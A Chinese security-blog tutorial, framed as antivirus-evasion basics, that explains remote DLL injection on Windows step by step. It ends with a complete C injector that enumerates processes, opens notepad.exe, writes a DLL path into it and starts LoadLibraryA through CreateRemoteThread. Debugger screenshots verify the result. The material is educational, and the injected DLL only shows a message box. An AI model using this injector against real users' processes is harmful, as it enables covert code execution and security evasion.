免杀基础-DLL注入详解(学不会你打我)

admin 2024年12月30日15:45:27评论109 views字数 13821阅读46分4秒阅读模式

回顾

动态链接库相信大家已经很熟悉了DLL其实就是作为一个模块去跑的,为了解决一些重复使用的代码。

应用程序默认会去加载一些DLL,比如kernel32.dll ntdll.dll等等,这些dll中有非常多的导出函数来供我们程序使用。

当然我们也可以去编写自己的DLL,我们创建一个动态链接库,然后使用LoadLibrary Windows API函数进行加载我们自己写的DLL,当我们将DLL加载到进程的地址空间中之后,我们就可以去获取导出函数的地址然后去调用了。

如下是DLL最基本的代码。

还记得我们当时将动态链接库的时候下面的case语句吗?
  // dllmain.cpp : 定义 DLL 应用程序的入口点。  #include "pch.h"
  BOOL APIENTRY DllMain( HMODULE hModule,                         DWORD  ul_reason_for_call,                         LPVOID lpReserved                       )  {      switch (ul_reason_for_call)      {      case DLL_PROCESS_ATTACH:      case DLL_THREAD_ATTACH:      case DLL_THREAD_DETACH:      case DLL_PROCESS_DETACH:          break;      }      return TRUE;  }

当我们将DLL加载到进程地址空间的时候会执行DLL_PROCESS_ATTACH中的代码。

比如我们这里在其中写一段MessageBox弹窗的代码。

免杀基础-DLL注入详解(学不会你打我)

需要注意的是在配置选项哪里将预编译头干掉,还有就是将dllmain.cpp更改为dllmain.c文件。

然后我们就可以使用LoadLibrary去加载了。

#include <iostream>#include <Windows.h>int main(){    HMODULE hModule = LoadLibraryA("C:\Users\Administrator\source\repos\Dll3\Debug\Dll3.dll");    typedef void (*test)();    test MyFunction = (test)GetProcAddress(hModule, "test");    MyFunction();    return 0;}
免杀基础-DLL注入详解(学不会你打我)

好了上面其实就是我们回顾的动态链接库这里。

DLL注入

接下来我们需要将其我们生成的恶意DLL注入到其他进程中,其实也可以叫做远程DLL注入了。

远程DLL注入其实就是将我们的动态链接库DLL加载到远程进程中并在其内部执行代码的一种方式。

远程DLL注入的基本原理就是利用目标进程的地址空间,在目标进程中加载并执行指定的DLL。

我们可以通过如下几个步骤来实现。

  1. 选择目标进程,我们要注入的话肯定是要知道目标进程的。

  2. 获取目标进程的句柄,我们获取到目标进程的句柄之后就能够在目标进程中执行了。

  3. 在目标进程中分配一块内存用于存储将要注入的DLL路径和参数等信息。

  4. 写入DLL路径和参数,将DLL路径和可能的参数写入目标进程的内存空间。

  5. 创建远程线程,在目标进程中创建一个远程线程,该线程的起始地址指向LoadLibrary函数(或者是类似功能的函数)。

  6. 最后一步就是注入远程线程执行LoadLibrary函数,将DLL加载到目标进程中,从而实现DLL注入。

所以我们的第一步要选择目标进程,既然要选择目标进程,那么肯定首先需要枚举目标进程。

首先我们需要创建一个进程快照,这个进程快照中包含了系统中所有的进程信息。

CreateToolhelp32Snapshot函数是一个Windows API函数,一般用于创建系统快照,遍历系统进程以及模块的作用。

函数原型如下:

HANDLE WINAPI CreateToolhelp32Snapshot(  DWORD dwFlags,  DWORD th32ProcessID);
这个函数需要传递两个参数,第一个参数是指定快照的类型,常用的标记如下:
TH32CS_SNAPPROCESS:获取进程快照。TH32CS_SNAPMODULE:获取模块快照。TH32CS_SNAPTHREAD:获取线程快照。TH32CS_SNAPALL:获取进程、模块和线程的快照。TH32CS_INHERIT:表示新的快照将继承调用进程的句柄权限。

一般我们会使用获取所有的进程快照也就是TH32CS_SNAPPROCESS。

第二个参数表示要获取快照的进程ID,也就是PID,如果为NULL或0的话,那么获取所有的进程的快照。

比如如果我们想获取到所有进程的快照,我们可以这样写:

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

获取到所有进程快照之后就可以使用Process32First和Process32Next函数来遍历进程快照了,获取每一个进程的详细信息。

我们来一一看一下这两个函数。

首先是Process32First函数,这个函数原型如下:

BOOL Process32First(  HANDLE           hSnapshot,  LPPROCESSENTRY32 lppe);

这个函数需要传递两个参数,第一个参数需要传递进程快照的句柄,这里的句柄就是上一步通过CreateToolhelp32Snapshot这个函数返回的,然后第二个参数指向一个PROCESSENTRY32结构的指针,用于接收第一个进程的信息。

PROCESSENTRY32 结构定义如下:

typedef struct tagPROCESSENTRY32 {  DWORD     dwSize;  DWORD     cntUsage;  DWORD     th32ProcessID;  ULONG_PTR th32DefaultHeapID;  DWORD     th32ModuleID;  DWORD     cntThreads;  DWORD     th32ParentProcessID;  LONG      pcPriClassBase;  DWORD     dwFlags;  TCHAR     szExeFile[MAX_PATH];} PROCESSENTRY32;

这个结构的dwSize表示的是结构的大小,初始化时需要设置为sizeof(PROCESSENTRY32)。

th32ProcessID表示进程的ID,szExeFile表示可执行的文件名。

如下示例:

PROCESSENTRY32 pe32;pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {    do {        // 使用 pe32 中的信息,比如 pe32.th32ProcessID 和 pe32.szExeFile        // 处理当前进程的信息    } while (Process32Next(hSnapshot, &pe32));}

这段代码会遍历进程快照中的每一个进程,并在每次循环中使用 PROCESSENTRY32 结构中的信息处理当前进程。

而对于Process32Next函数和Process32First函数是差不多的。

那么我们就可以使用这三个函数来枚举进程。

#include <windows.h>#include <tlhelp32.h>#include <tchar.h>#include <stdio.h>
void list_processes() {    HANDLE hProcessSnap;    PROCESSENTRY32 pe32;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hProcessSnap == INVALID_HANDLE_VALUE) {        _tprintf(TEXT("CreateToolhelp32Snapshot (of processes) failed.n"));        return;    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {        _tprintf(TEXT("Process32First failed.n"));         CloseHandle(hProcessSnap);                 return;    }    _tprintf(TEXT("PIDttProcess namen"));    do {        _tprintf(TEXT("%-8dt%sn"), pe32.th32ProcessID, pe32.szExeFile);    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);}
int main() {    list_processes();    return 0;}
免杀基础-DLL注入详解(学不会你打我)

我们来理解一下这个代码。

首先导入了这几个头文件。

windows.h:包含大多数Windows API函数的声明。tlhelp32.h:包含与创建工具帮助快照相关的API函数的声明。tchar.h:包含与处理多字符集和宽字符相关的宏和函数的声明。stdio.h:包含标准输入输出函数的声明。

最重要的就是tlhelp32.h这个文件,这个头文件中包含了创建快照的一些API函数。

还有就是tchar.h这个头文件,这个文件里面包含了处理字符串的一些宏还有一些函数。

首先我们定义了一个list_processes函数,这个函数用于列举处所有的进程,这里定义了两个未初始化的变量,一个是HANDLE类型的另外一个是PROCESSENTRY32结构指针,hProcessSnap最后会赋值为一个快照对象,而PROCESSENTRY32结构指针会指向进程相关的信息。

void list_processes() {    HANDLE hProcessSnap;    PROCESSENTRY32 pe32;
接下来我们通过CreateToolhelp32Snapshot函数来创建一个系统进程的快照,赋值给hProcessSnap。
 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hProcessSnap == INVALID_HANDLE_VALUE) {        _tprintf(TEXT("CreateToolhelp32Snapshot (of processes) failed.n"));        return;    }

创建之后首先设置PROCESSENTRY32结构的大小,如果不设置这个结构大小的话,会报错。

这个必须在使用此结构之前去进行设置。

   pe32.dwSize = sizeof(PROCESSENTRY32);
然后调用Process32First函数来检索快照中的第一个进程信息,如果检索失败的话,那么打印错误。
    if (!Process32First(hProcessSnap, &pe32)) {        _tprintf(TEXT("Process32First failed.n"));         CloseHandle(hProcessSnap);                 return;    }
然后使用do while循环遍历快照中的所有进程,使用Process32Next函数来检索下一个进程的信息,最后打印。
    do {        _tprintf(TEXT("%-8dt%sn"), pe32.th32ProcessID, pe32.szExeFile);    } while (Process32Next(hProcessSnap, &pe32));

最后就是关闭句柄了。

接下来我们将其代码更改为我们传递进去一个进程名以及PID,它返回一个进程对象的句柄。

我们现来看看OpenProcess函数。

函数原型如下:

HANDLE OpenProcess(  DWORD dwDesiredAccess,  // 访问权限  BOOL  bInheritHandle,   // 是否继承句柄  DWORD dwProcessId       // 进程ID);

第一个参数表示的是请求的访问权限,如下:

PROCESS_ALL_ACCESS:完全访问权限,允许对进程进行任何操作。

PROCESS_CREATE_PROCESS:创建进程的权限。

PROCESS_QUERY_INFORMATION:查询进程信息的权限。

PROCESS_VM_READ:读取进程内存的权限等。

一般我们会给完全访问权限,也就是PROCESS_ALL_ACCESS。

第二个参数是是否继承句柄,这里表示的是你返回的句柄是否可以被子进程继承,这通常是FALSE。

最后一个参数是你要打开的进程ID。

如下我们可以将代码更改为:

#include <stdio.h>#include <Windows.h>#include <TlHelp32.h>
BOOL OpenProcessByNameAndPID(const char* processName, DWORD pid, HANDLE* phProcess) {    PROCESSENTRY32 pe32;    pe32.dwSize = sizeof(PROCESSENTRY32);    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hProcessSnap == INVALID_HANDLE_VALUE) {        return FALSE;    }    if (!Process32First(hProcessSnap, &pe32)) {        CloseHandle(hProcessSnap);        return FALSE;    }    do {        if (_stricmp(pe32.szExeFile, processName) == 0 && pe32.th32ProcessID == pid) {            *phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);            if (*phProcess == NULL) {                CloseHandle(hProcessSnap);                return FALSE;            }            CloseHandle(hProcessSnap);            return TRUE;        }    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);    printf("Process not found!n");    return FALSE;}int main() {    const char* processName = "notepad.exe";    DWORD pid = 1234;     HANDLE hProcess;
    if (OpenProcessByNameAndPID(processName, pid, &hProcess)) {        CloseHandle(hProcess);    } else {    }
    return 0;}

我们来Debug跟一下。

这里非常简单,其实就是判断从进程快照中遍历出的进程名以及PID是否和我们传递进去的名称以及PID是相同的,如果是的话,那么就打开打开进程,并返回一个进程句柄。

免杀基础-DLL注入详解(学不会你打我)

接下来我们拿到了进程的句柄,我们就该将DLL注入到远程进程中了。

在这之前我们需要了解几个API函数方便注入我们的DLL。

首先是VirtualAllocEx函数,这个函数用于在指定进程的虚拟地址空间中分配内存,它允许一个进程为另一个进程分配内存,并返回指向分配的内存区域的指针。

函数原型如下:

LPVOID VirtualAllocEx(  HANDLE hProcess,       // 目标进程的句柄  LPVOID lpAddress,      // 分配的内存地址,设为 NULL 表示系统自动分配  SIZE_T dwSize,         // 分配的内存大小(字节数)  DWORD  flAllocationType, // 内存分配类型  DWORD  flProtect        // 内存保护属性);

第一个参数就是通过OpenProcess来获取的进程的句柄。

lpAddress:分配的内存地址。设为 NULL 表示让系统自动分配地址。

dwSize:分配的内存大小,以字节为单位。

flAllocationType:内存分配类型,可以是以下常量之一或其组合:

  • MEM_COMMIT:提交分配的内存空间,使其在物理内存中可用。

  • MEM_RESERVE:保留分配的内存空间,但不进行实际分配,直到调用 MEM_COMMIT

  • MEM_RESET:重置内存空间,将其内容设置为0。

  • 其他分配类型常量请参考Microsoft文档

flProtect:内存保护属性,控制内存区域的访问权限,可以是以下常量之一:

  • PAGE_READWRITE:可读写权限。

  • PAGE_EXECUTE_READ:可读权限,可执行权限。

  • 其他保护属性常量请参考Microsoft文档。

如果函数调用成功的话,将返回指向分配内存区域的指针。

比如如下代码:

LPVOID lpAddress = VirtualAllocEx(hProcess, NULL4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

我们通过VirtualAllocEx函数在指定进程中虚拟空间中分配了一个4096字节的内存。

第二个API函数是WriteProcessMemory,这个函数一般用于向远程进程中写入数据,我们要通过这个函数将DLL的路径写入到目标进程中。

原型如下:

BOOL WriteProcessMemory(  HANDLE  hProcess,    // 目标进程的句柄  LPVOID  lpBaseAddress,  // 目标进程的内存地址  LPCVOID lpBuffer,      // 要写入的数据缓冲区的指针  SIZE_T  nSize,         // 要写入的数据大小(字节数)  SIZE_T  *lpNumberOfBytesWritten  // 实际写入的字节数,可为 NULL);

hProcess参数一般是通过OpenProcess函数来获取的,第二个lpBaseAddress参数表示的是目标进程的内存地址,表示写入数据的起始位置。

lpBuffer是要写入的数据缓冲区的指针。

nSize参数表示要写入的数据大小(字节数)。

最后一个参数表示要实际写入的字节数。

最后一个API函数是createremotethread函数。

createremotethread函数是一个用于在指定进程中创建远程线程的一个API函数,这个函数一般用于进程注入和代码执行等功能。

如下函数原型:

HANDLE CreateRemoteThread(  HANDLE                 hProcess,        // 目标进程的句柄  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  // 线程安全属性,通常设为 NULL  SIZE_T                 dwStackSize,     // 线程堆栈大小,通常设为 0  LPTHREAD_START_ROUTINE lpStartAddress,  // 线程入口函数地址  LPVOID                 lpParameter,     // 传递给线程入口函数的参数  DWORD                  dwCreationFlags, // 线程创建标志,通常设为 0  LPDWORD                lpThreadId       // 返回新线程的ID,可为 NULL);

然后我们需要去查找LoadLibraryW函数的地址,那么为什么要去查找他的地址呢?

LoadLibraryW函数的作用就是加载指定的DLL文件,并返回该模块的句柄,远程注入的关键步骤其实就是将你的DLL加载到目标的进程地址空间中。

由于你是在目标进程中创建远程线程,所以需要使用目标进程中有效的地址。如果直接使用你当前进程中的函数地址,它在目标进程中可能是无效的。

为了让目标进程执行你的代码,需要在目标进程中调用它自己的API函数,例如LoadLibraryW

大概的实现思路如下:

  1. 使用OpenProcess函数获取目标进程的句柄。

  2. 使用VirtualAllocEx函数在目标进程的地址空间中分配内存,用于存储DLL路径。

  3. 使用WriteProcessMemory函数将DLL路径写入到目标进程的分配内存中。

  4. 使用GetProcAddressGetModuleHandle函数获取当前进程中LoadLibraryW的地址,然后将其转换为目标进程中的地址。

  5. 使用CreateRemoteThread函数在目标进程中创建一个线程,并让这个线程执行LoadLibraryW函数,参数是前面写入的DLL路径。

如下代码实现:

BOOL InjectDLL(HANDLE hProcess, const char* dllPath) {    LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);    if (dllPathAddr == NULL) {        return FALSE;    }
    if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");    if (hKernel32 == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");    if (loadLibraryAddr == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);    if (hThread == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);
    return TRUE;}

我们来解释一下如上代码:

首先在在目标进程的地址空间中分配内存,用于存储 DLL 路径。

 LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);    if (dllPathAddr == NULL) {        return FALSE; }
然后将 DLL 路径写入目标进程的内存中。
if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
紧接着获取到 kernel32.dll 的模块句柄。
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");    if (hKernel32 == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
然后. 获取 LoadLibraryA 函数的地址。
 LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");    if (loadLibraryAddr == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
最后在目标进程中创建一个线程,执行 LoadLibraryA 函数来加载 DLL。
  HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);    if (hThread == NULL) {        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
然后等待线程执行完毕即可。
  WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);
    return TRUE;
完整代码如下:
#include <stdio.h>#include <windows.h>#include <tlhelp32.h>
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {    PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {        return FALSE;    }
    if (!Process32First(hSnapShot, &Proc)) {        CloseHandle(hSnapShot);        return FALSE;    }
    do {        WCHAR LowerName[MAX_PATH * 2];        if (Proc.szExeFile) {            DWORD dwSize = lstrlenW(Proc.szExeFile);            for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {                LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);            }            LowerName[dwSize] = '�';        }
        if (wcscmp(LowerName, szProcessName) == 0) {            *dwProcessId = Proc.th32ProcessID;            *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);            if (*hProcess == NULL) {                printf("[!] OpenProcess Failed With Error: %d n", GetLastError());                CloseHandle(hSnapShot);                return FALSE;            }            CloseHandle(hSnapShot);            return TRUE;        }    } while (Process32Next(hSnapShot, &Proc));
    CloseHandle(hSnapShot);    return FALSE;}
BOOL InjectDLL(HANDLE hProcess, const char* dllPath) {    LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);    if (dllPathAddr == NULL) {        printf("[!] VirtualAllocEx Failed With Error: %d n", GetLastError());        return FALSE;    }
    if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {        printf("[!] WriteProcessMemory Failed With Error: %d n", GetLastError());        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");    if (hKernel32 == NULL) {        printf("[!] GetModuleHandleA Failed With Error: %d n", GetLastError());        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");    if (loadLibraryAddr == NULL) {        printf("[!] GetProcAddress Failed With Error: %d n", GetLastError());        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);    if (hThread == NULL) {        printf("[!] CreateRemoteThread Failed With Error: %d n", GetLastError());        VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);        return FALSE;    }
    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);
    return TRUE;}
int main() {    const char* processName = "notepad.exe";    const char* dllPath = "C:\Users\Administrator\source\repos\Dll4\x64\Debug\Dll4.dll";
    DWORD pid = 0;    HANDLE hProcess = NULL;
    if (!GetRemoteProcessHandle(L"notepad.exe", &pid, &hProcess)) {        return 1;    }
    // 注入DLL    if (InjectDLL(hProcess, dllPath)) {        printf("[+] DLL injected successfully!n");    }    else {        printf("[!] DLL injection failed!n");    }
    // 关闭进程句柄    if (hProcess) {        CloseHandle(hProcess);    }
    return 0;}

我们来debug跟一下:

我们先跟进GetRemoteProcessHandle函数。

首先从进程快照中获取到PID以及进程名称,然后通过OpenProcess函数来打开进程,返回进程句柄。

免杀基础-DLL注入详解(学不会你打我)

返回进程句柄之后,我们需要向远程进程申请内存。

来到InjectDLL函数。

首先这里远程内存的地址我们可以在xdbg中查看。

免杀基础-DLL注入详解(学不会你打我)

只需要将notepad.exe附加进程即可。

然后ctrl + G去搜索内存地址。

免杀基础-DLL注入详解(学不会你打我)

紧接着就是写入DLL的路径了。

写入之后这里就可以看到内存中已经有了。

免杀基础-DLL注入详解(学不会你打我)
在执行 DLL 的远程进程中创建了一个新线程。
免杀基础-DLL注入详解(学不会你打我)
可以看到成功执行:
免杀基础-DLL注入详解(学不会你打我)

我们可以在Process Hacker的module中查看是否注入了dll。

可以看到Dll4.dll已经成功注入了。

免杀基础-DLL注入详解(学不会你打我)
本节就到这里期待和您的下次相遇!!!

原文始发于微信公众号(Relay学安全):免杀基础-DLL注入详解(学不会你打我)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月30日15:45:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀基础-DLL注入详解(学不会你打我)http://cn-sec.com/archives/3571029.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息